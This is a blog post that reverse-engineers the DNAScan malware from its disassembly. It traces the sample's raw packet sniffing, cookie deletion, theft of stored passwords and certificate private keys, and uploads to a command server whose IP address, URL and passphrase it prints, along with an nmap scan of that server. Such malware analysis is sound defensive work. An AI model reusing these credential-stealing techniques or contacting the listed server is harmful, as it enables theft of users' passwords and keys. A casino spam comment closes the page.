Skip navigation.
Home

DNAScan Malicious Network Activity Reverse Engineering

Hi,

This is a paper split into two episodes, the first two can be read here

First
http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser.html
Second
http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser_15.html

In this blog post we will investigate deeply the effective functionalities of DNAScan,
that can be seen as a set of Threads that accomplish different networking functionalities like:

* Server Functionalities
* Client Functionalities
* Malicious File Exchange
* Generic Backdoor

Let's start from the beginning of network functionalities setup, initially from the main thread is called WSAStartup used to initiate the Winsock DLL, successively is called a classical socket() and immediately after WSAIoctl

0040A0EE PUSH 2600
0040A0F3 PUSH EAX
0040A0F4 PUSH EBX
0040A0F5 PUSH EBX
0040A0F6 PUSH 4004747F
0040A0FB PUSH ESI
0040A0FC CALL DWORD PTR DS:[41526C] ;WSAIoctl

The WSAIoctl function controls the mode of a socket, works like DeviceIoControl so we have a suite of IO Control Codes, in our case the Control Code is 4004747F that corresponds to SIO_GET_INTERFACE_LIST

Returns a list of configured IP interfaces and their parameters as an array of INTERFACE_INFO structures. After setting socket options and binding we have another WSAIoctl this time with code 98000001 in this way the socket normal working parameters are modified, indeed 98000001 corresponds to SIO_RVALL that enables a socket to receive all IP packets on the network, to use this application need to be in RAW mode using IP protocol and bound to a specific local adapter. Finished this the first thread is created

0040A089 PUSH EAX
0040A08A PUSH ESI
0040A08B PUSH EDI
0040A08C PUSH OFFSET srcdll.00409FCD ; Look here to know what thread does
0040A091 PUSH ESI
0040A092 PUSH ESI
0040A093 CALL DWORD PTR DS:[415130]

after opening this thread the first socket is closed. Now the next important function called is SHGetFolderPath witch sets as folders \user\cookies, finally execution jumps to a secondary thread that contains a recvfrom

00409F89 PUSH EDI
00409F8A PUSH EDI
00409F8B PUSH EDI
00409F8C PUSH 4000
00409F91 PUSH ESI
00409F92 PUSH DWORD PTR SS:[EBP+8]
00409F95 CALL DWORD PTR DS:[415268] ;recvfrom

by watching the buffer out (second parameter) we can see what arrives to DNAScan

001644B8 E..a......=
001644D8 .... EFFGEJEMEDFCFJCNDFDGE
001644F8 CDFDIEEDIAA. FHEPFCELEHFCEPFFFAC
00164518 ACACACACACABN.SMB%.............
00164538 ............................
00164558 ......V......\MAILSLOT\BRO
00164578 WSE...........................

this recvfrom is repeated until certain conditions that depends from watch application receives,
under certain conditions sento from server reacts. After setting this is builded another thread that makes use of a classical server architecture

* Socket
* Listen
* Accept

Next networking operation is the Pipe building

00407DCF PUSH 0
00407DD1 PUSH 0
00407DD3 PUSH 400
00407DD8 PUSH 400
00407DDD PUSH 0FF
00407DE2 PUSH 0
00407DE4 PUSH 3
00407DE6 PUSH OFFSET srcdll.004025B4 ; ASCII "\\.\pipe\ie_down_pipe"
00407DEB CALL ; Jump to kernel32.CreateNamedPipeA
00407DF0 CMP EAX,-1
00407DF3 JNE SHORT 00407DF7
00407DF5 JMP SHORT 00407E58
00407DF7 MOV DWORD PTR SS:[EBP-4],EAX
00407DFA MOV DWORD PTR SS:[EBP-8],0
00407E01 PUSH 0
00407E03 PUSH DWORD PTR SS:[EBP-4]
00407E06 CALL ; Jump to kernel32.ConnectNamedPipe

This creates a named pipe \\.\pipe\ie_down_pipe and successively Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

At this point is assembled the following string

00401620 http://%s%s?user_id=%.4u&version_id=%s&passphrase=%s&socks=%lu&v
00401660 ersion=%lu&crc=%.8x.URL: sniffer_ftp_%s..ftp_server=%s&ftp_login
004016A0 =%s&ftp_pass=%s&version=%lu.URL: sniffer_pop3_%s..pop3_server=%s
004016E0 &pop3_login=%s&ftp_pass=%s.URL: sniffer_imap_%s..imap_server=%s
00401720 &imap_login=%s&imap_pass=%s.URL: sniffer_icq_%s..icq_user=%s&icq
00401760 _pass=%s.SharedAccess.wscsvc.=.GET_COOK.VER.EXE.DL.DL_EXE.DL_EXE
004017A0 _ST.REBOOT.\%lu.exe./upd %lu

as you can see there are a couple of interesting strings like

* ftp_pass=%s
* imap_pass=%s
* sniffer_pop3_%s
* sniffer_icq_%s

0040587D PUSH EAX
0040587E PUSH DWORD PTR SS:[EBP-4] ;take a look here
00405881 PUSH 0
00405883 CALL ; Jump to wininet.FindFirstUrlCacheEntryA

this api enumerates the Internet cache, to see what comes out just watch the second parameter

0040588F MOV EAX,DWORD PTR SS:[EBP-4]
00405892 MOV ECX,DWORD PTR DS:[EAX+4]
00405895 PUSH ECX
00405896 PUSH DWORD PTR SS:[EBP+8]
00405899 PUSH ECX
0040589A CALL ; Jump to shlwapi.StrStrIA
0040589F POP ECX
004058A0 OR EAX,EAX
004058A2 JE SHORT 004058AA
004058A4 PUSH ECX
004058A5 CALL ; Jump to wininet.DeleteUrlCacheEntry
004058AA MOV DWORD PTR SS:[EBP-8],1000
004058B1 LEA EAX,[EBP-8]
004058B4 PUSH EAX
004058B5 PUSH DWORD PTR SS:[EBP-4]
004058B8 PUSH DWORD PTR SS:[EBP-0C]
004058BB CALL ; Jump to wininet.FindNextUrlCacheEntryA
004058C0 JMP SHORT 0040588B
004058C2 PUSH DWORD PTR SS:[EBP-0C]
004058C5 CALL ; Jump to wininet.FindCloseUrlCache

this piece of code scans Url Cache to find the previously seen IP address and if discovered, removes it with DeleteUrlCacheEntry.

00405937 PUSH EAX
00405938 PUSH OFFSET srcdll.0040A872 ; ASCII "http://91.213.94.130/cgi-bin/options.cgi?user_id=373125111&version_id=17
&passphrase=fkjvhsdvlksdhvlsd&socks=9180&version=132&crc=00000000"
0040593D PUSH 0
0040593F CALL ; Jump to urlmon.URLOpenBlockingStreamA

Creates a blocking type stream object from a URL and downloads the data from the Internet. When the data is downloaded the client application or control can read it by using the IStream::Read method.

By analysing the URL we can extract the following informations:

* user_id=373125111
* version_id=17
* passphrase=fkjvhsdvlksdhvlsd
* socks=9180
* version=132
* crc=00000000

When you step URLOpenBlockingStreamA be aware that this function presents thread and fiber functionalities to speed up and make an easier analysis approach just detach for one step the New Thread Break Event. If incidentally you have this Event enabled, surf between threads with Execute till Return and Run Actual Thread.

_Next Thread_

Here the malicious application scans into C:\Documents and Settings\evilcry\Cookies\ cookie by cookie

00408305 PUSH DWORD PTR SS:[EBP+8] ; ASCII "C:\Documents and Settings\evilcry\Cookies\"
00408308 PUSH EDI
00408309 CALL ; Jump to kernel32.lstrcpyA
0040830E MOV EDX,DWORD PTR SS:[EBP-8]
00408311 LEA EDX,[EDX+2C]
00408314 PUSH EDX
00408315 PUSH EDI
00408316 CALL ; Jump to kernel32.lstrcatA
0040831B PUSH EDI
0040831C CALL ; Jump to kernel32.DeleteFileA
00408321 PUSH DWORD PTR SS:[EBP-8]
00408324 PUSH DWORD PTR SS:[EBP-4]
00408327 CALL ; Jump to kernel32.FindNextFileA
0040832C TEST EAX,EAX
0040832E JNE SHORT 004082E5
00408330 PUSH DWORD PTR SS:[EBP-4]
00408333 CALL ; Jump to kernel32.FindClose

Successively by using ad usual CreateToolhelp32Snapshot and Process32First/Process32Next and WriteProcessMemory DNAScan injects some pieces of code in various system processes. This is essentially not useful for our analysis scopes actually.

0040795B 55 PUSH EBP
0040795C 8BEC MOV EBP,ESP
0040795E 83C4 F8 ADD ESP,-8
00407961 53 PUSH EBX
00407962 E8 57F6FFFF CALL 00406FBE

Inside the call

00406FC9 PUSH OFFSET srcdll.0040B87E
00406FCE PUSH 1
00406FD0 PUSH 0
00406FD2 CALL ; Jump to OLE32.CreateStreamOnHGlobal

The CreateStreamOnHGlobalfunction creates a stream object that uses an HGLOBAL memory handle to store the stream contents. This object is the OLE-provided implementation of the IStream interface.

..
00406FE1 PUSH OFFSET srcdll.0040B87A
00406FE6 PUSH srcdll.00401B50 ; ASCII "pstorec.dll"
00406FEB CALL 00406F71 ; Loads from pstorec.dll PStoreCreateInstance
00406FF0 TEST EAX,EAX
00406FF2 JE SHORT 00407033
00406FF4 PUSH OFFSET srcdll.0040B882
00406FF9 PUSH srcdll.00401B73 ; ASCII "crypt32.dll"
CALL 00406F71 ; Loads from crypt32.dll CryptUnprotectData

00407009 PUSH EAX
0040700A PUSH EAX
0040700B PUSH EAX
0040700C LEA EDX,[40B876]
00407012 PUSH EDX
00407013 CALL DWORD PTR DS:[40B87A] ;PStoreCreateInstance

Protected Storage (Pstore) is available for use in Windows Server 2003, Windows XP, and Windows 2000. It is only available for read-only operations in Windows Server 2008 and Windows Vista. Pstore uses an older implementation of data protection.

outside the call

00407972 E8 AB290000 CALL ; Jump to OLE32.GetHGlobalFromStream

The GetHGlobalFromStream function retrieves the global memory handle to a stream that was created through a call to the CreateStreamOnHGlobal function. The second parameter is an out global memory handle

00407977 53 PUSH EBX
00407978 E8 68B4FFFF CALL 00402DE5
0040797D 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
00407980 FF75 FC PUSH DWORD PTR SS:[EBP-4]
00407983 E8 662A0000 CALL ; Jump to kernel32.GlobalLock

Now if we focus inside the address pointed by EAX we can see a truly interesting thing

0016E5D8 Forms: ....URL Form / Auto: http://xxxxxxxxxxxxx.com/wp
0016E618 -login.php..User/Pass: xxxxxx:....URL Form / Auto: http://
0016E658 www.xxxxxxxx/forums/..User/Pass: Evilcry:xxxxxxxxxx
0016E698 (Modified: 17/10/2009 15:02)

as you can see the malicious application extracs URLs + User and Passwords. Now the malicious application surely will try to send the stolen credentials to a malicious server.

00407988 0BC0 OR EAX,EAX
0040798A 74 16 JE SHORT 004079A2
0040798C FF75 F8 PUSH DWORD PTR SS:[EBP-8]
0040798F 50 PUSH EAX
00407990 68 6A104000 PUSH srcdll.0040106A ; ASCII "/cgi-bin/pstore.cgi"
00407995 E8 CDEBFFFF CALL 00406567
0040799A FF75 FC PUSH DWORD PTR SS:[EBP-4]
0040799D E8 522A0000 CALL ; Jump to kernel32.GlobalUnlock

Inside -> CALL 00406567

00406570 PUSH EBX
00406571 PUSH 0
00406573 PUSH 0
00406575 PUSH 0
00406577 PUSH 0
00406579 PUSH OFFSET srcdll.004025AC ; ASCII "IE"
0040657E CALL ; Jump to wininet.InternetOpenA

Initializes an application's use of the WinINet functions, the return value must be != NULL

00406583 OR EAX,EAX
00406585 JE 0040672C
0040658B MOV DWORD PTR SS:[EBP-4],EAX
0040658E PUSH 0
00406590 PUSH 0
00406592 PUSH 3
00406594 PUSH 0
00406596 PUSH 0
00406598 PUSH 0
0040659A PUSH DWORD PTR DS:[402020] ; ASCII "91.213.94.130"
004065A0 PUSH DWORD PTR SS:[EBP-4]
004065A3 CALL ; Jump to wininet.InternetConnectA

Opens an File Transfer Protocol (FTP) or HTTP session for a given site.

004065B3 PUSH 0
004065B5 PUSH 4080000
004065BA PUSH 0
004065BC PUSH 0
004065BE PUSH 0
004065C0 PUSH DWORD PTR SS:[EBP+8]
004065C3 PUSH OFFSET srcdll.004025AF ; ASCII "POST"
004065C8 PUSH DWORD PTR SS:[EBP-8]
004065CB CALL ; Jump to wininet.HttpOpenRequestA

Send a POST request to /cgi-bin/pstore.cgi

00406618 PUSH 20000000
0040661D PUSH EAX
0040661E LEA EAX,[EBP-14C]
00406624 PUSH EAX
00406625 PUSH DWORD PTR SS:[EBP-0C]
00406628 CALL ; Jump to wininet.HttpAddRequestHeadersA

Adds one or more HTTP request headers to the HTTP request handle, the second parameter is a Pointer
to a string variable containing the headers to append to the request, so let's check it.

Content-Type: multipart/form-data; boundary=--------------------------2ffe24e2ffe24e2ffe24e

Finally with wspintfA is builded the following string

0012FCB4 ..----------------------------2ffe24e2ffe24e2ffe24e--......#.
0012FCF4 .l. |...........|.|.l|...#.`..@Z|...a..P
0012FD34 Content-Disposition: form-data; name="upload_file"; filename="37
0012FD74 3125111.17"

where we can see the kind of request name="upload_file" and the filename 37
0012FD74 3125111.17

finally is called

004066F6 PUSH EBX
004066F7 PUSH DWORD PTR SS:[EBP-154]
004066FD PUSH 0
004066FF PUSH 0
00406701 PUSH DWORD PTR SS:[EBP-0C]
00406704 CALL ; Jump to wininet.HttpSendRequestA

Sends the specified request to the HTTP server, the second parameter of this function is the header itself.

At this point HTTP transactions are finished all handle closed and begins a new thread, that deals with
CryptoApi.

00406737 PUSH EDI
00406738 PUSH srcdll.00401594 ; ASCII "MY"
0040673D PUSH 0
0040673F CALL ; Jump to CRYPT32.CertOpenSystemStoreA

The CertOpenSystemStore function is a simplified function that opens the most common system certificate store, MY means that a certificate store that holds certificates with associated private keys.

00406756 PUSH 4
00406758 PUSH 0
0040675A PUSH srcdll.00401597 ; UNICODE "Password"
0040675F LEA EAX,[EBP-8]
00406762 PUSH EAX
00406763 PUSH DWORD PTR SS:[EBP-0C]
00406766 CALL ; Jump to CRYPT32.PFXExportCertStoreEx

The PFXExportCertStoreEx function exports the certificates and, if available, their associated private keys from
the referenced certificate store.

In this way DNAScan obtains sensitive informations, like the Private Keys.

The second parameter is a pointer to CRYPT_DATA_BLOB structure, that contains the PFX packet with the exported certificates and key. The Third parameter is string password used to encrypt and verify the PFX packet.

0040677E PUSH 4
00406780 PUSH 0
00406782 PUSH srcdll.00401597 ; UNICODE "Password"
00406787 LEA EAX,[EBP-8]
0040678A PUSH EAX
0040678B PUSH DWORD PTR SS:[EBP-0C]
0040678E CALL ; Jump to CRYPT32.PFXExportCertStoreEx

The PFXExportCertStoreEx function exports the certificates and, if available, their associated private
keys from the referenced certificate store.

Now certificates are correctly stolen, and need to be sent to the malicious server. Indeed after some line of code we can see the following

00406797 PUSH DWORD PTR SS:[EBP-8]
0040679A PUSH EDI
0040679B PUSH srcdll.00401058 ; ASCII "/cgi-bin/cert.cgi"
004067A0 CALL 00406567

Stolen certificates are sent to /cgi-bin/cert.cgi as previously seen for User/Password Credentials.

Essentially application upload each sensitive information to a precise location, here a quick list

* /cgi-bin/options.cgi
* /cgi-bin/forms.cgi
* /cgi-bin/cert.cgi
* /cgi-bin/pstore.cgi
* /cgi-bin/ss.cgi
* /cgi-bin/keylog.cgi
* /cgi-bin/file.cgi
* /cgi-bin/mail.cgi
* /cgi-bin/cmd.cgi
* /cgi-bin/forms.cgi

from the name of these cgi we can suddenly understand what is stolen

* Files
* Mails
* Passwords
* Certificates
* Misc.

If we attemp a direct browser access to the malicious server, we will obtain a classical 404 Error, but
let's try to send direct queries like

http://91.213.94.130/cgi-bin/options.cgi?user_id=373125111&version_id=17
&passphrase=fkjvhsdvlksdhvlsd&socks=9180&version=132&crc=00000000

as you can see options.cgi is reatched and correctly downloaded we can prosecute with a more deep inspection by using Nmap.

The scanning options used are tipical of an Intense Scan

Starting Nmap 4.76 ( http://nmap.org ) at 2009-11-28 16:39 ora solare Europa occidentale
Initiating Ping Scan at 16:39
Scanning 91.213.94.130 [5 ports]
Completed Ping Scan at 16:39, 0.53s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:39
Completed Parallel DNS resolution of 1 host. at 16:39, 0.15s elapsed
Initiating SYN Stealth Scan at 16:39
Scanning 91.213.94.130 [1000 ports]
Increasing send delay for 91.213.94.130 from 0 to 5 due to max_successful_tryno increase to 5
Increasing send delay for 91.213.94.130 from 5 to 10 due to max_successful_tryno increase to 6
Warning: Giving up on port early because retransmission cap hit.
Discovered open port 22/tcp on 91.213.94.130
Discovered open port 80/tcp on 91.213.94.130
SYN Stealth Scan Timing: About 12.40% done; ETC: 16:43 (0:03:32 remaining)
Discovered open port 5222/tcp on 91.213.94.130
Discovered open port 111/tcp on 91.213.94.130

But we can obtain more informations with a Slow Intense Scan like

nmap -PE -PA21,23,80,3389 -A -v -T4 91.213.94.130

here what emerges
Open Ports:

* 22
* 25 (filtered)
* 80 (lighttpd 1.4.19)
* 111 (rpcbind)
* 5222 (Jabber instant messaging server)
* 5269 (Jabber instant messaging server)
* 389 (ms-term-serv)

Operating System: OpenWrt 7.09 (Linux 2.6.22)

Regards,
Giuseppe 'Evilcry' Bonfa'

Excellent article, I add it

Excellent article, I add it also possible to go to run type regedit and then do a search on the name of the application and delete it so what remains on the computer, it advises to press F3 to continue the search until you find no trace of the application concern.
Thank you for your article.
casino en ligne